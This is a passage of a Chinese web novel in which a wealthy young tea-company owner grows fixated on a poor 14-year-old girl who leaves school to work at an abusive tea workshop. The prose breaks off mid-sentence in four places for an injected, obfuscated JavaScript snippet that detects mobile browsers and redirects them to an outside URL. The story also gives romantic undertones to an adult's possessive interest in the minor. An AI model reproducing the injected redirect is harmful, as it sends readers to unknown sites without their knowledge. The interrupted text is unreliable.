“就在隔壁的胜利茶厂!老板都没有问我年龄,才看我一眼,一眼,就让我明天上班。” 姜悯脸色渐渐由白转黑。 她的副驾放了一大束山里采来的白茶花,幽幽香气,盈满车室,仍压不住心中烦闷,她忍了又忍,才没当着后座表姐和小孩的面说什么难听话。 “然后呢?” “我要感谢姜老板。”周灵蕴退后两步,朝姜悯结结实实鞠了个躬,“谢谢姜老板带给我的灵感。” 灵感?姜悯眉头更紧,目露疑惑。 周灵蕴“嘻嘻”两声,小得意,“你不是总说你们茶厂是正规大厂,我才受到启发,差点忘了附近还有好多小茶厂的嘛!” “你朋友吗?”后座秦穗好奇朝前探身。 周灵蕴朝她晃晃手,大大方方打招呼,“姐姐好。” 乡道车流稀少,姜悯双手松开方向盘,仰靠椅背,面前人影遮挡,她一张脸半明半暗,声线冷冽如冰。 “怎么不鞠躬了,你不是最喜欢鞠躬。” “欸,干嘛呢!”秦穗伸手推她一把,随后降下车窗,笑脸相迎,“你好啊小妹妹。” 周灵蕴再迟钝,也听出对面话里浓浓的敌意和嘲讽。 她不解,还是认真解释,“有志愿者来学校给我们献爱心的时候,我们都要鞠躬,人家给我们发书包,发文具,还有卫生巾……很重要很珍贵的东西,我鞠躬是感谢姜老板对我的帮助,就像以前那样,不是乱鞠躬的。” 义正词严,还给她上价值上高度。 姜悯被噎,面上红白相间,那股无名火反而烧得更旺,她不依不饶,“那你给收留你的茶厂老板鞠躬了吗?” 周灵蕴张了张嘴,愣住。她忘了。 所以,除了去学校献爱心的志愿者,周灵蕴只给她鞠过躬,尽管她并没有带给她任何实际帮助。 姜悯紧抿的唇线似乎松动了一丝,脸色刚有缓和迹象,周灵蕴下一句过来,“那我明天给他鞠躬。” 11. 第 11 章 ——“是你自己找上门来的。” 这个念头像一柄淬毒的冰锥,反复凿打内心底线。 尽管极力克制着,连日视若无睹,装作漠不关心,姜悯仍近乎病态着迷那隐秘的掌控一切的错觉——只要她想,“死而复生”不会只存在神话故事。 客厅落地玻璃映照出少女娇小身影,窗外是春日欣欣向荣的花园,姜悯视线几次模糊,又强行聚焦,画面融合、交叠,融汇成天然一卷。 花簇间,那人正小口咬饼干,微风牵动纯白裙边,阳光在发梢跳跃。 致命的相似。 “来,喝点水,别噎着。”谷香岚温言细语,递来清茶。 周灵蕴受宠若惊,赶忙双手接过,含糊说“谢谢”。 茶水很好中和了曲奇的甜腻,周灵蕴一口气喝掉大半杯,待嘴里咽干净,才转脸牵起嘴角绽出个乖顺的笑,“谢谢阿姨。” “好孩子。”中年女人眼神温软如水,甚至抬手轻轻摸了摸她的头,“中午没吃饱吧?看你饿的……哎呦,真瘦,这小胳膊小腿。” 姜悯无声嗤笑,双肩微微耸动。 漂亮话谁不会说——“差不多得了”、“该放下了”、“人都死多少年了”。 大道理一套一套,轮到自己全是放屁。不过初次见面,瞧她那火热劲儿,不知道的还以为真是她流落在外的私生女。 “邻居家小孩吗?”秦穗好奇凑来,“住得近不。” 是她把人喊到家里来的。当时情况混乱,姜悯句句带刀,吓得车外小孩双手揪着衣摆大气不敢出一个,她不得不出面调解。也是看出念念对这个年龄相仿的姐姐格外感兴趣,眼睛一直黏在人家身上。 姜悯深吸气,闭眼,移开视线,简短讲述近日经过,省略部分内心阴暗纠葛。 “哦——怪不得,一直茶厂茶厂的,我半天没听出个所以然。”秦穗再扭头看一眼,老妈子被动触发,满面愁容,“那她不上学了?不行的呀,还是小朋友呢,没满十八岁,不上学以后怎么办,打工都没人要……” “你忘了她今天是专门来找我炫耀的。”姜悯哼出冷笑,怪腔怪调,极其小人之心,“你不要我,有的是人要我——” “神经啊你!”秦穗推她一把。 小孩跟小孩之间有种天然的亲近感,尤其在陌生环境。 念念从进门就表现出极大的善意,主动给周灵蕴递拖鞋,又蹬蹬跑回房间抱来自己零食和玩具。周灵蕴坐在沙发上吃东西,她半边身子都挂在人家大腿,不说话,只一个劲儿往人嘴里塞东西。 两腮鼓鼓,周灵蕴表情无奈。 “小姑娘家离得不远吧?”秦穗希望周灵蕴以后能常来玩,“气场蛮合,以后我要是有事不在,念念也有人陪。” 姜悯双手抱胸,倚窗斜立,“你可能看不出来,其实今天是我妈第一次见她。” 秦穗毫无所觉,顺着话头,“这孩子气场干净,招人喜欢。” “你没觉得她长得很像一个人?”姜悯快速道。 小石子骤然打破平静的水面,涟漪圈圈荡漾开,湖畔潮声细微。 姜悯视线如同冰冷的探针逐扫过室内众人,最终定刺向秦穗,她目光穿透时间,将彼此瞬间扯拽回某段尘封的岁月。 空气仿佛被瞬间抽干。 秦穗面上笑容凝固,她倏地扭头,迟来的惊疑不定的审视。 眉眼,侧脸,脖颈弯折的弧度,少女天然的忧愁胆怯……那个封存已久,快要被时间完全掩埋的影子,被强行从记忆深处挖掘出。 “我的天——”秦穗倒抽一口凉气,瞳孔骤然收缩,随后双手死死捂住嘴,后面的话被硬生生截断在喉咙,只余满眼惊惧。 秦穗再回头看向姜悯,眼神复杂无比——怪不得、怪不得姜悯态度如此古怪。 “小朋友家住哪里。”姜悯她爸接过阿姨递来的一盘新鲜果切。 他没有表现出明显的亲近,反光的玻璃镜片遮掩大半惊愕,深沉难辨。 周灵蕴指向窗外,“那边那边还要那边的山坡上。” 想了想,抓抓脑袋笑,“花坑村那边。” 之所以没有一开始就说花坑村,因为她家确实不是花坑村的,只是花坑村比较有名。 姜父恍然,“花坑村我知道,据说曾经有陨石降落,在山顶留下一个深坑,后来长满许多野生茶树,开花时红白一片,故此得名。花坑村的茶油很出名的,得天独厚的地形。” 周灵蕴点头,“但我家不是,我家更远,叫赖头村。” 村名实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723200|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在不好听,她平日鲜少提及,此时勉为其难说出口,整个人忍不住激灵下,身体小幅度弹跳。 姜父“呵呵”一阵笑。 有点不知道怎么接,确实没听说过。 “好了。”姜悯身子一抬,走向众人,“她必须得回家了,否则天黑看不见路,山上万一有野兽,不安全。” “啊?”谷香岚有些意外,“还说吃了饭再走呢。” 周灵蕴起身,她紧跟着,才反应过来,“看起来你们认识蛮久了,关系还挺亲近。” “姜老板是个好人,她帮了我很多,给我巧克力吃,我还得到一个特别好的启发。”周灵蕴真心实意的,她都不知该怎么报答她好。 姜悯再次被噎,怒目而视。 周灵蕴目光担忧,“你的眼睛不舒服吗?” 姜悯控住她手腕,粗暴将其扯出门厅,反手用力砸上大门。 “砰”一声巨响,隔绝所有探究视线,门厅处温暖的黄光被天空深沉的水洗蓝替代。 “你今天去找工作,你奶奶没跟你一起,她知道你这么做吗?”姜悯声音压得很低,却字字带着灼人的火星。 周灵蕴鼻尖热热的,她的呼吸有股特别的香气。 “你有没有想过,这一带大大小小那么多茶厂,你奶奶为什么早不带你去,因为小作坊根本学不到东西!也没什么未来可言,去了只能当牛做马干苦力,从早到晚一天干十几个小时,你懂吗?” 姜悯恨铁不成钢,劈头盖脸就是一顿训,胸腔因压抑的怒火而急促起伏,握住对方手腕的力道无意识又加重几分。 像一只水豚,周灵蕴只是微微仰起脸,沉默望向她。 姜悯有时觉得周灵蕴很聪明,有时又觉得她很笨。简直无可救药。 “你看我做什么?!”姜悯怒不可遏,声调拔高。 睫毛轻颤,周灵蕴视线顺着姜悯紧绷的下颌线缓缓滑落至腕部。 她声音很轻,充满困惑,还有一种奇异的近乎叹息的直白。 “你手,好热。” “什么?”姜悯蹙眉,语气略有和缓。 周灵蕴轻轻动了下手腕,那滚烫的温度在缓慢渗透她皮肤纹理。 她心生怪异,微微挣了下,“你手捏得我好热。” 12. 第 12 章 心口骤然一缩,“咔哒”,某处隐秘控阀开启的声音。 手指关节弯曲,每一寸皮肤和骨骼都在默然执行她异乎寻常的掌控欲。周灵蕴说“热”,姜悯没有立即撒开手,指腹敏锐处甚至更为具体感受到对方脉搏。 肌肤相贴,倒分不清谁比谁更乱。 仰脸,周灵蕴目光纯洁无辜,“热”是来自身体的具体真实感受,她只是陈述一个再简单不过的事实,没被牵住的那只手抬起擦了把脖子。 姜悯死死盯她几秒。 那股热反噬过来,她满腔怒火无处安放,被反将,一时竟有些狼狈。她猛地甩开手,音色诡异变得嘶哑,“我跟你说话!” “我听到了。”周灵蕴早就准备好一肚子的话对她说。 “姜老板为我好,我心里知道,可我们家条件不好嘛。我已经长得很大了,必须要承担起家庭的重任,苦点累点没关系,我先干上几年,等长到十八岁再去大厂应聘,当学徒。” 周灵蕴很满意自己的计划。她垂着睫,左手捏右手,那股热还没散,忽然抬头飞快瞄一眼对面,弯起嘴角笑。 “干嘛?”体温升高,嗅觉也愈发灵敏,姜悯闻到少女身上独有的山野草木气息,混合一点饼干的甜香味。似藤蔓无声缠绕,使空气变得黏腻。 “你笑什么,你笑个屁!”姜悯更为恼火。 “我说真的。”周灵蕴大着胆子勾了下姜悯的小拇指,“不要生气了,等我长到十八岁,我会变成你的人,你等我一下嘛。” 说的什么?姜悯脑浆沸腾。 时间不早了,周灵蕴抬头看一眼天色,转身几步走下台阶,“我回家了,拜拜。” 她纤长背影消失在暮色渐浓的庭院小径。 姜悯独自站立在紧闭的大门外,直到天空完全改换了颜色,山野极为浓厚的夜潮水般无声淹没,万物归于寂静。 回到房间,背靠冰凉的门板,许久,她恍似梦中惊醒——好像被调戏了? 见鬼,被一个十四岁的小女生。 天黑尽,房间亮一盏暖色床头灯,姜悯蜷缩在临窗的小沙发,烦躁抓了把头发,发丝凌乱散落额前,脸色愈发晦暗不明。 一种前所未有的混乱感,伙同窗外夜色无声攫住她心脏。 脸红?倒不至于。姜悯自认还没荒唐到这种地步。 动荡源自灵魂更深处。 是那张脸。那张与记忆深处某个永不褪色的影像重叠得惊人的脸。 十年光阴,足够将锐痛磨平,再上漆粉饰为平静。 姜悯认为自己早就放下。可周灵蕴的出现却像一把锋利的剪刀,将她数年来精心编织的保护的外衣豁出一个大口。 老天爷将这个精准的复刻送到她面前,是残酷的玩笑?还是一个迟来的带着浓浓讽刺意味的补偿? 或者,根本就是她自己出了问题,茫茫人海中从未停止过捕捞,现在终于如愿。 姜悯回顾近来对周灵蕴所做的一切,试图将对方纳入某种秩序的强烈掌控欲,是命运冥冥中的某种暗示——暗示她该抓住点什么,还是根本就心魔未除。 她引以为傲的决断力、掌控力,此番种种虚无拷问之下,溃不成军。 又下雨了。 窗外雨声细碎,寒意攀上脚踝,姜悯扯来薄毯盖过头顶。 “叩叩叩——” 姜悯将毛毯掀开一角,谷香岚已经推门走进来,“这次我可敲门了哈。” “可我还没让进。”姜悯说。 “这是我家,我想进就进。”谷香岚径直走到姜悯身边坐下,也不啰嗦,“我想问问,你跟今天来家那个小姑娘认识多久了。” 就知道跑不掉。 姜悯坐起,扯来抱枕垫在脑后,“那我也不是非得告诉你。” 谷香岚瞪她,“什么德行?” “很显然是遗传。”姜悯回答。 算了,懒得计较这些。谷香岚抓来她手,包裹在绵软的掌心,揉搓一阵,长长叹了口气。 “什么花坑村赖头村的,我听都没听过,出身在这穷苦地方,挺清秀一姑娘,又懂事,瘦得像根竹竿,看着真让人心疼。” 姜悯冷冷觑着,等她下一句。 果然,谷香岚开始语重心长。 “黏黏啊,妈是过来人。有些事,哎呀——那孩子年龄真的太小了,她才十四岁!人生才刚刚开始,懵懵懂懂的,根本不知道自己在说什么做什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723201|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,也不知道别人可能会对她产生什么样的念头。” “什么念头?”姜悯挑眉。 “就是……”谷香岚默一阵,忽而掩唇尬笑,“我也不好多说,我怕呀,你本来没那么想,说多倒提醒你了。” 姜悯白眼快翻上天,“您没事吧?” “哎呀算了算了,是你爸非要我进来跟你说几句,真是的,他自己又不来说。” 胡乱摆臂,谷香岚说烦死了不管了,“总之你凡事三思,别让自己后悔,也别耽误了别人大好青春。” 说完,退出房间。 姜悯扯着脖子回一句“我耽误谁青春了”? 门合拢,她身体僵直几秒,朝后倒下,重重跌回沙发。 姜悯还没来得及耽误谁的青春,架不住有人铁了心要把自己青春挥霍。 周灵蕴坐在床边小板凳,雨声渐密,屋瓦噼噼啪啪,山里一下雨就停电,只床头一盏煤油灯散发出昏黄的光。 煤油灯是上世纪产物,年纪比周灵蕴还大上两轮,经年累月,灯壁漆黑,使得本就微弱的光线更加模糊不清,只能勉强勾勒出物体的轮廓。 她脖子上挂一块毛巾,发梢还滴水,半边脸迎着光,身后斑驳的墙壁一个巨大的黑影,老旧木床完全笼罩在阴影里。 奶奶躺在床上,背对着她,像一尊沉默而固执的石雕,没有任何回应。 “等我挣到钱。”周灵蕴耷拉着脑袋,手指绞啊绞,衣摆绞出两个大疙瘩。 “我听说有夜校,学技术的,学文化的,还有什么非遗手作,有些人七老八十还在学……” 回应她的,依旧是长久的沉默。 煤油灯火苗不安跳跃,墙壁她的影子被拉扯得变形,周灵蕴几次回头,几乎要被这份沉重的静默压垮。 终于,床上身影动了,奶奶缓慢吃力撑坐起来。 周灵蕴转身搀扶,奶奶拂开她手。 “那我们家没有钱的嘛!”太委屈,周灵蕴忍不住喊了一句。 老人佝背摸索着下床。 周灵蕴提灯跟到门口,眼泪开始打转,“又做啥嘛。” “你不洗澡啊?”奶奶攀着门,回头,“不洗澡脑壳长虱子。” 13.第 13 章 “今年天气反常。”周灵蕴蹲在屋檐底下刷牙,带着满嘴的牙膏沫,含糊说往年春天没见这么大的雨。 奶奶从屋里拎个铝壶出来,给她脸盆里添些热水,“你才见过几个春天。” “本来就反常嘛。”热帕子拧干,“啪”往脸上一糊,贴着发际仔仔细细搓一把,搓得脸蛋红红,周灵蕴表情蛮认真,“春天的雨应该是滴滴答滴滴答,不是哗啦啦,哗啦啦,从早到晚哗啦啦。” 天低矮,颜色青灰,雨线连绵,织就成一张巨大的灰网,笼罩着山野,林间有白雾升腾,轻盈缥缈,周灵蕴无暇欣赏,为泥泞的山路发愁。 山里孩子不喜欢下雨,路上稀,弄得满身泥难洗不说,洗了还晾不干,沤臭了都晾不干。 可又有什么办法呢。 今天是周灵蕴第一天上班,她早早起来,穿好衣裳,头发也梳理得整齐,脑后捆一把润亮的马尾。 她对着小镜子照,左右歪头笑,又板着脸装严肃,努力想让自己看起来精神些,像个能干活的大人。 洗漱完,她进房间,姜悯送的那一堆瓶瓶罐罐里挑一个出来,旋开瓶盖,手指挖一坨,往脸上抹。 奶奶在灶间忙碌,铁锅里“滋啦”响,周灵蕴把脸凑奶奶跟前,“你闻我香不?” “香,香得要命,”奶奶往锅里多打了一个鸡蛋。 周灵蕴说她闻见了,“猪油鸡蛋饭,好香好香。” 天已大亮,厨房里还黑黑的,周灵蕴端着大碗坐在门槛边吃饭,看屋外的雨,盼着停。 奶奶还忙活,抹布反复擦拭灶台,水烧开给她泡茶,大茶壶灌满,拧紧瓶盖装进书包,想起件重要的事,扭头问:“你那单位管饭不?” 周灵蕴大口刨饭,先是摇头,嘴里咽个差不多,“我不知道,忘了问。” 奶奶把锅里剩的都给她铲进饭盒,找块布跟水壶包在一起,装书包,这样饭到中午还是温温热。 周灵蕴背上书包,穿上雨衣和胶鞋,奶奶急忙忙冲过来扯她袖子,“大了,下大了。” 雨幕密集,屋外一片浑浊的水世界,周灵蕴挣了下手腕,“要去的,讲好的,我们昨天晚上就讲好的嘛。” “你不读书啦?”奶奶眼泪开始打转。 周灵蕴不喜欢这样,她心里好难受,好像被挖空一块,大风裹着冷雨呼呼往里灌。 “我走了!” “你要读书的嘛!”奶奶追到院里,蓝布鞋湿了水。 周灵蕴回头,倒退着走,使劲挥两下胳膊,“你进屋去!进屋去!” 她转身跑走,薄细的一片,像树叶被风卷着,滂沱大雨中转瞬不见。 奶奶扶着门框,久久不动。 山路湿滑,周灵蕴早就习以为常,其实这几年路好走多了,为方便采摘和运输,许多茶商自己出钱在山里修路,她出门走个七八分钟就能拐到铺了碎石子的大道上。 只是这雨真大啊,眼眶也打湿,流进嘴巴里,咸咸热热的。 走吧,走吧。 周灵蕴从雨衣里把袖子扯出来抹了把脸,闻到袖口沾染的擦脸香,皱了皱鼻子。 顺着这条路能一直走到胜利茶厂,还有姜老板的家。 一段路,连接两种截然不同的人生。 姜悯站在别墅巨大的落地窗前,指尖反反复复,隔着玻璃,临摹雨珠跌落的轨迹。 窗外风雨交加,花圃一片狼藉,去年夏天她费心移栽的一棵柠檬树枝桠被风雨折断。她试图专注手中的咖啡,视线却总不由自主穿透厚重的雨帘,飘向山那头。 周灵蕴在做什么?是不是正深一脚浅一脚跋涉在泥泞的山道上,奔向那个她口中所谓的“新生”——那个该死的胜利茶厂。 “想什么呢?”秦穗走路没声音,姜悯正出神,冷不丁吓一跳。 秦穗手里捧了杯豆浆,掌心热热的,落在她肩膀,“你瞧你。” 临窗一张茶桌,姜悯深吸一口气,矮身坐在蒲团,“她今天第一天上班。” 周灵蕴跟那个人长得很像,已经是众所周知的事情,她因此对周灵蕴产生关注,情绪随之起伏,也说得通,没什么好藏着掖着。 “你想干预。”秦穗笃定陈述。 “我有吗?”姜悯快速眨眼,有些局促。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15733207|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有。”秦穗语气平静。 “简单,你直接以资助人的身份,把她接到市里住,供她吃喝、上学,只要你愿意,她也点头。” 秦穗根本不需得费心去想,作为过来人,太清楚这条路径的可行性。 “变态吧你。”姜悯像被踩了尾巴,声音陡然拔高,“还接到家里住,找替身?我才不是那种人。” “可她们确实长得很像,你也确实是因为她们样貌相似,才会对这个仅有几面之缘的山里女孩产生强烈的情绪波动。你得尊重事实。” 秦穗喝了口豆浆,“那小孩看起来也很需要你的帮助。” 姜悯身体轻微摇晃,像被谁推了一把。 “妈妈——”念念揉着眼睛从房间出来,软软呼唤。 秦穗搁下玻璃杯,“你自己清楚。”她转身去抱女儿。 “呦,这么早都起来了?”谷香岚女士打着哈欠走过来,探头看一眼窗外,嘀咕说“好大的雨”,顺手拿起遥控器按开电视,热闹广告音填满客厅空旷,冷寂雨声也平添几分烟火气。 手边咖啡早就凉透,苦涩加倍,姜悯仰头一饮而尽,含糊道一声“早安”,转身快步回房。 房门关闭,所有声音隔绝,姜悯身体摔向床面。 跟周灵蕴类似家境的小孩,这世上大把,要是个个都跑到茶厂门口给她下跪鞠躬,她管得过来吗? 秦穗该死的洞察力,精准刺中要害。她无法对那张脸的遭遇视而不见。 无关悲悯,更不是她情操高尚,准确说,是抗拒。 不服、不忿、不忍。 她难以接受,那张承载了太多复杂情感与珍贵记忆的脸庞,被粗暴投入泥泞和烟尘,被生活的粗糙面反复压榨,甚至是“亵渎”。 花园里,树荫下,裙摆蹁跹,发丝飘扬,指尖在黑白琴键上轻灵跳跃,记忆里发着光的,永不褪色的她…… 值得被珍视,被安放在一个洁净的,体面的位置。 而周灵蕴,这个意外闯入者,拥有相似外壳的少女,却在暴雨泥泞中步步艰难。 姜悯不能接受,不允许。“她”值得更好的生活。 14.第 14 章 大家都在给自己充门面,周灵蕴扯谎说她虚岁十六,胜利茶厂也不过是几块彩钢板和夹芯板搭建而成的小作坊。 周灵蕴去过姜悯家的茶厂,人家不叫厂,叫茶业有限公司,名字也好听——“云崖萃”,清雅如山巅晨雾,仅是门前那块停车坝,就比胜利茶厂全部加起来还要大。 周灵蕴把书包和雨衣放在板房门口的塑料凳,还没来得及喝口水,就被吆喝去干活。 茶农送来新采摘的茶青,周灵蕴需要帮忙卸车,这是个实打实的力气活,雨湿透的鲜叶很沉,好在她平日在家没少帮着奶奶干农活,袖子撸高,小臂绷起细长坚韧的肌肉线条。 后续则是摊青——将鲜叶均匀薄铺在巨大的竹席,晾干水汽防止闷坏,竹耙子不停翻动。 小作坊没什么明确分工,姜悯说得不错,在这里,她就是块哪里需要往哪搬的砖。 揉捻、炒干这种技术活轮不到她,她就是个打杂的,打扫清洗、递工具,给汗流浃背的老师傅端茶倒水,甚至被老板支使去买烟。 工作环境恶劣,高温、潮湿,噪音和粉尘,不过一上午,周灵蕴灰头土脸,汗水浸透衣衫,皮肤闷痒。 终于熬到晌午,师傅们放下事情去吃饭,周灵蕴发现厂里是有食堂的。 她想把奶奶做的蛋炒饭省下来晚上吃,兴冲冲跟着人群往里走,刚到门口,被大腹便便的老板伸手拦住。 “干嘛去。”老板叼着烟,居高临下,眯眼瞧她,“你不是带饭了?” 周灵蕴一愣,抓抓脸蛋,有点不好意思。忽然她想到什么,脸色一变,猛地扭头——“你们翻我书包了!” 老板那个七八岁的胖儿子躲在他爹身后,抱着他爹大腿直晃悠,“里面什么都没有,连个玩具都没有,哼!” 周灵蕴赶紧跑回去检查书包。拉链果然被打开,茶壶跟饭盒放在地上,里头裹饭的那件旧衣裳被丢弃在旁,沾满泥汤和碎茶,她的雨衣不翼而飞。 “你们干嘛翻我东西?”周灵蕴红着眼眶回头质问。 穿汗衫的大肚子老板看着她,没吭声,小孩冲她鼓脸,“就翻!就翻!” “我雨衣呢!”周灵蕴音调不自觉拔高,带着哭腔,“把雨衣还给我,一直下雨,没有雨衣我怎么回家?” 那小孩一听,撇下他爸“噔噔”跑进屋,再出来,身上赫然套着一件对他来说过于宽大的塑料雨衣。 长长的下摆拖地,他甩着袖子像只滑稽的胖企鹅,冲进雨幕,“呜哇哇”怪叫乱跑。 热血直冲颅顶,周灵蕴把书包往板凳上一放,想也没想就冲进雨里,“你还给我!这是我的!” 小孩被拽住,立即捏起拳头打她,周灵蕴没还手,只是固执地去扒那件雨衣。小孩急了,咬着后槽牙,开始下死力气。周灵蕴眼眶挨了下拳头,真疼了,使劲推他一把。 他没站稳,一屁股坐泥地,还不放过,抓住周灵蕴手腕,张嘴就咬。周灵蕴痛叫一声,心里憋的那股火腾就窜起,她手直接伸过去抠他嘴。 山里孩子打架都带着股狠劲,周灵蕴毕竟年长几岁,力气也大,小孩吃痛松嘴,“哇”一声大哭起来,面上几道红痕。 周灵蕴趁机用力一扯,雨衣带回,她顾不得衣上泥水,死死抱在怀里。 雨衣是奶奶带她在集上买的,她的每一样东西都得来不易,浸透生活的艰辛,她万分珍惜。 他们家明明很有钱,能开茶厂,能给工人发工资,虽比不上姜老板的有限公司……周灵蕴不懂,为什么公司的前面都要加一个“有限”,什么意思呢,像人的生命一样是有限的吗? 她脑袋里乱七八糟一堆想法,总之,能开茶厂,不管厂子是大是小,都比她厉害比她有钱。 那么厉害,那么有钱,为什么要偷走她的雨衣? 周灵蕴站在雨里,呼吸尚未平复,脑子热热的,脸也热热的。 她抱着雨衣还在发傻,突然,从板房里冲出的穿红衬衫的女人朝她脸上甩了一巴掌。 “啪——”脆响。 周灵蕴左脸剧痛,眼前金星乱冒,整个被掀翻在地,泥水瞬间浸透她半边身体。 穿红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15738147|173926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衬衫的女人还不放过,朝她后背猛踢几脚。 “贱骨头!拿你件破雨衣叽歪什么?还敢打我儿子!看你可怜赏你口饭吃,不识抬举的小贱货!死全家的扫把星……” 女人转身抱起地上哭嚎的儿子,心疼哄,男站在屋檐下,吐几个烟圈,眼前这场闹剧似乎跟他全无关系。 食堂里有人听见动静跑出来看,有好心人把周灵蕴从地上搀起,回头帮她说好话,“老板娘别生气了,都是小孩子嘛,闹着玩的。” “闹着玩?”女人声音陡然拔高八度,“她这叫闹着玩?!看她把我家强强打得!脸都抓花了!” 周灵蕴后知后觉感到委屈,手臂擦脸,揪着自己一边沾满泥汤的碎刘海,“是你们先偷走我的雨衣,是他先咬我!” 大姐暗暗使劲拧了把她的胳膊肉,“你别说话!” 女人果然大怒,扔下小孩跑过来,手指头直戳她鼻梁骨,“你一件破雨衣才值几个钱,小贱丫头懂不懂感恩?反了你了!” 大姐背过身子,把周灵蕴护在怀里,“算了算了,这点小事生气不值得,消消气消消气,别跟小孩一般计较。” 男人掐灭烟头,不说话,只笑。女人骂骂咧咧回屋,给儿子换衣裳。 周灵蕴站直,摸到自己半边脸肿起来,还很烫,她用力吸气,强忍眼泪不落。 大姐给她拍拍背,“挣钱要紧,是吧?想挣钱不单要能吃苦,还要能受气。” 周灵蕴把地上雨衣捡起来,泥水砸落在她同样裹满黄泥的胶鞋,无声替她落着泪。 在这满腹屈辱,浑身冰冷,几乎要被绝望淹没的时刻—— “周灵蕴。” 平静,却带有穿透喧嚣风雨,坚定充满力量的声音在她身后响起。 周灵蕴浑身一抖,如被闪电击中。 她僵硬转身。 滂沱雨幕,姜悯撑一把巨大黑伞,静立在砖墙一侧。 她的面容在伞沿阴影下有些模糊不清,但那道担忧的视线,却如同破开乌云的一束暖阳,精准投落在少女颤抖的身躯。 15.第 15 章 时间仿佛凝固。 厂房持续不休的机器轰鸣声、水泥坝前沸腾的雨花、老板娘刻薄的余音、小孩没完没了的哭喊…… 周遭喧嚷,骤然被按下暂停键。 世界安静,唯有心脏在胸腔擂鼓。 姜悯伞下静立,如神邸从天而降,身后那辆线条冷硬的黑色越野,在灰暗的雨景中也显得格外高大雄伟,似某种护卫的灵怪。 周灵蕴脸上还火辣辣疼,手腕牙印渗血,针刺的锐痛,雨水顺着发梢流进脖颈,冻得她牙根发抖,身体本能的保护姿态,双肩高耸,手脚蜷缩。 四目相对那一刹那,空气中迸发出细微的蓝紫电光,奇异暖流浇灌身体,冲垮她所有防备筑起的冰墙。 呼吸暂停,周灵蕴情绪复杂。 获救的欣喜,委屈的爆发,还有许多陌生的东西——虚张声势被洞穿的羞耻,无法言喻的自惭形秽,以及……在她目光注视下,猝然被照亮灵魂的隐秘悸动。 泥潭中挣扎的蝼蚁,猝不及防窥见云端俯瞰众生的月亮。 那光芒太耀眼,她心生妄念。 周灵蕴手指深掐进脏污的蓝色塑衣,面颊肿胀痛感被另一种怪异的炙热覆盖,烧得她耳根都热起来。 她迫不及待想朝她走过去,双腿却像被钉在耻辱柱,难以挪动毫厘。 姜悯其实早就到了。 伞下,她漠然目睹全程,一言不发,直到事件末尾。 ——“周灵蕴。” 周灵蕴动了,她袖子抹把脸上的雨,像只落水小猫,挪动细瘦的四肢,颤颤巍巍,走向高大的人类。 她身上每一根湿透的毛发都在讲述她的可怜,她低头抬起爪子想舔毛,打整出一块体面,发觉无处下嘴,呆呆站了会儿,抬起湿漉漉、泪汪汪的眼,喵呜一声。 “姜老板。” “跟我回家吃饭。”姜悯将伞面朝周灵蕴倾斜,没有“你怎么了”这类废话,也没有帮她出头的意思。 姜悯面表情淡淡,好像什么也没看见,什么也没发生。 “我带了饭。”周灵蕴低头看她的皮靴,棕色,简单的样式,大方好看。又看看自己,鞋帮裹满黄泥,鞋面落得许多泥灰茶屑。 脚趾蜷缩,周灵蕴鞋面鼓起,嘴巴也鼓起。 姜悯耐着性子,“知道你第一天上班,阿姨多烧了几个菜,专门犒劳你,你不去,我们吃不完,浪费了。” 周灵蕴回头,一直看热闹不闻不问的茶厂老板竟主动朝她们走过来。 “我带饭了。”周灵蕴声音更低。不想留在这里,但不确定老板肯不肯放她走。 男的走到跟前,“欸”一声,点点下巴,启开烟盒递过来。 姜悯半个眼神都懒得给,让周灵蕴去把书包拿上,“那也得找地方热热吃。” “食堂里有微波炉。”男的满脸谄笑。 姜悯半垂睫,终于施舍给他一个眼神,“我接妹妹回家吃饭,没什么问题吧?” 屋里哄孩子的女人走出来,站门口不讲话。 男的歪过身子看一眼门口停的黑车,点头说“行”,“正常午休嘛。” 姜悯拉开车门,周灵蕴伸头往里看,车里很香,还很干净,她摇头,“我走着过去。” “脏了洗就是。”姜悯直接把人往里推。 